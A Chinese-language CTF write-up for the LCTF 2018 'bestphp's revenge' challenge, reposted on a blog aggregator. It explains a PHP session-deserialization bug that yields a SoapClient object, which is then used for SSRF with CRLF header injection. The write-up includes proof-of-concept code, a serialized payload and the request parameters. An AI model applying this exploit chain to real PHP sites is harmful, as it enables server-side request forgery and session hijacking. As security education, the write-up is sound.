session反序列化+SoapClientSSRF+CRLF

这篇具有很好参考价值的文章主要介绍了session反序列化+SoapClientSSRF+CRLF。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

session反序列化+SoapClientSSRF+CRLF

前言

从一道题分析通过session反序列化出发SoapClientSSRF利用CRLF解题

bestphp’s revenge

首页是index.php

index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> 

好像没什么利用条件,我们通过目录扫描到

flag.php:

only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

看这个代码很明显是SSRF漏洞,我们需要通过ssrf访问:http://127.0.0.1/flag.php将flag写入session文件中,最后访问index.php通过var_dump将flag打印出来

我们接着分析index.php:

call_user_func($args1,$args2)函数可以将执行名为:$args1的函数,并且参数为$args2

我们需要利用SoapClient对象去调用不存在的方法,就会触发__call()方法,从而进行SSRF,将flag写入session。但是怎么才能出发__call()方法?

call_user_func()方法的特性

当使用 call_user_func() 调用一个函数时,可以将函数名作为字符串或者一个包含两个元素的数组传递给它。如果传递一个数组,那么数组的第一个元素表示要调用的类或对象,第二个元素表示要调用的方法名

因此,如果我们给call_user_func()传入一个数组,并且第一个元素是SoapClient对象,第二个元素为不存在的方法名,就可以触发SSRF漏洞

这里刚好有一个现成的:

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);

如果此时$b=call_user_func(),并且$_SESSION的第一个元素是SoapClient对象,那么相当于:

call_user_func(call_user_func,[new SoapClient(...),'welcome_to_the_lctf2018']);
即:
call_user_func([new SoapClient(...),'welcome_to_the_lctf2018'])

调用了SoapClient对象的welcome_to_the_lctf2018()方法,但是该方法不存在,于是就触发了SSRF

如何编写这个SoapClient对象呢?我们此处需要配合CRLF将flag写入指定的session中

SSRF+CRLF组合拳

poc如下:

<?php

$soap = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php','user_agent'=>"like\r\nCookie: PHPSESSID=leekos\r\n"
,'uri'=>'aaa'));

echo urlencode(serialize($soap));

# O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A32%3A%22like%0D%0ACookie%3A+PHPSESSID%3Dleekos%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

我们在SoapClient的参数的数组中加入user_agent头,然后\r\n代表换行,将Cookie 给插入进来,替换为:leekos(这里有一个非常重要的点,需要使用双引号"包裹,否则\r\n不解析)

这样我们的SoapClient对象的序列化串就编写好了,我们稍后会用到它

我们上面提到$b=call_user_func(),怎么做到的?我们可以利用第一个call_user_func()函数,将$_GET['f']=extract$_POST=array('b'=>'call_user_func') 这个extract()函数将$b覆盖为call_user_func

这样当我们的reset($_SESSION)SoapClient对象时就可以触发ssrf

问题来了,怎么让reset($_SESSION)是该对象呢?

session反序列化

查询gpt, PHP 7.0.33,默认的 serialize_handler 将是 PHP 内置的 php

那么如果我们此时的serialize_handler=php_serialize就会将session数据使用serialize()函数进行序列化,如果我们将传入的数据前加入一个|,存入session文件后,文件内容大致格式如下:

xxx|O:10:SoapClient{yyy}

当此时我们serialize_handler=php时,漏洞来了,php处理器会把|前面的都当作键名,会把后面的O:10:SoapClient{yyy}反序列化,刚好还原为SoapClient对象,这时利用链就造好了

怎么让serialize_handler=php_serialize?

可以借助session_start()函数,通过call_user_func()来调用即可

解题步骤

先将序列化数据以php_serialize处理器存储起来

session反序列化+SoapClientSSRF+CRLF,wp,web安全,安全,php

默认php处理器反序列化导致生成SoapClient对象,同时调用不存在方法触发ssrf

session反序列化+SoapClientSSRF+CRLF,wp,web安全,安全,php

最后通过自定义的cookie访问即可:

session反序列化+SoapClientSSRF+CRLF,wp,web安全,安全,php

总结

这一个题目的综合性还是挺强的,感觉挺巧妙,用到了session反序列化,php内置类SSRF+CRLF的技巧文章来源地址https://www.toymoban.com/news/detail-622718.html

到了这里,关于session反序列化+SoapClientSSRF+CRLF的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【网络】序列化反序列化

    在前文《网络编程套接字》中,我们实现了服务器与客户端之间的字符串通信,这是非常简单的通信,在实际使用的过程中,网络需要传输的不仅仅是字符串,更多的是结构化的数据(类似于 class , struct 类似的数据)。 那么我们应该怎么发送这些结构化的数据呢? 如果我们

    2024年02月05日
    浏览(43)
  • 序列化,反序列化之实例

    介绍文章 __construct() 当一个对象创建时自动调用 __destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象) __sleep() 使**用serialize()函数时触发 __wakeup 使用unserialse()**函数时会自动调用 __toString 当一个对象被当作一个字符串被调用 __call() 在对象上下文中调用不

    2024年02月14日
    浏览(45)
  • Qt 对象序列化/反序列化

    阅读本文大概需要 3 分钟 日常开发过程中,避免不了对象序列化和反序列化,如果你使用 Qt 进行开发,那么有一种方法实现起来非常简单和容易。 我们知道 Qt 的元对象系统非常强大,基于此属性我们可以实现对象的序列化和反序列化操作。 比如有一个学生类,包含以下几

    2024年02月13日
    浏览(42)
  • 【网络】协议定制+序列化/反序列化

    如果光看定义很难理解序列化的意义,那么我们可以从另一个角度来推导出什么是序列化, 那么究竟序列化的目的是什么? 其实序列化最终的目的是为了对象可以 跨平台存储,和进行网络传输 。而我们进行跨平台存储和网络传输的方式就是IO,而我们的IO支持的数据格式就是

    2024年02月08日
    浏览(43)
  • 协议,序列化,反序列化,Json

    协议究竟是什么呢?首先得知道主机之间的网络通信交互的是什么数据,像平时使用聊天APP聊天可以清楚,用户看到的不仅仅是聊天的文字,还能够看到用户的头像昵称等其他属性。也就可以证明网络通信不仅仅是交互字符串那么简单。事实上网络通信还可能会通过一个结构

    2024年02月13日
    浏览(40)
  • Spring Boot 序列化、反序列化

    在软件开发中,序列化和反序列化是一种将对象转换为字节流以便存储或传输的机制。序列化将对象转换为字节流,而反序列化则将字节流转换为对象。序列化和反序列化在许多应用场景中都起着重要的作用,比如在网络通信中传输对象、将对象存储到数据库中、实现分布式

    2024年02月15日
    浏览(43)
  • Unity-序列化和反序列化

    序列化是指把对象转换为字节序列的过程,而反序列化是指把字节序列恢复为对象的过程。序列化最主要的用途就是传递对象和保存对象。 在Unity中保存和加载、prefab、scene、Inspector窗口、实例化预制体等都使用了序列化与反序列化。 1 自定义的具有Serializable特性的非抽象、

    2024年01月24日
    浏览(57)
  • 【Linux】序列化和反序列化

    在网络编程中,直接使用 结构体 进行数据传输会出错,因为 本质上socket无法传输结构体 ,我们只有将结构体装换为字节数组,或者是字符串格式来传输,然后对端主机收到了数据,再将其转化为结构体,这就是序列化和反序列化的过程! 序列化 (Serialization)是将对象的状态

    2024年02月10日
    浏览(43)
  • Java序列化和反序列化

    目录 一、序列化和反序列化 二、Java序列化演示 三、反序列化漏洞 1、含义 ​序列化就是内存中的对象写入到IO流中,保存的格式可以是二进制或者文本内容。反序列化就是IO流还原成对象。 2、用途 (1)传输网络对象 (2)保存Session 1、序列化 java.io.ObjectOutputStream代表对象

    2023年04月25日
    浏览(39)
  • 什么是序列化和反序列化?

    JSON(JavaScript Object Notation)和XML(eXtensible Markup Language)是两种常用的数据交换格式,用于在不同系统之间传输和存储数据。 JSON是一种轻量级的数据交换格式,它使用易于理解的键值对的形式表示数据。JSON数据结构简单明了,易于读写和解析,是基于JavaScript的一种常用数据

    2024年02月09日
    浏览(58)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包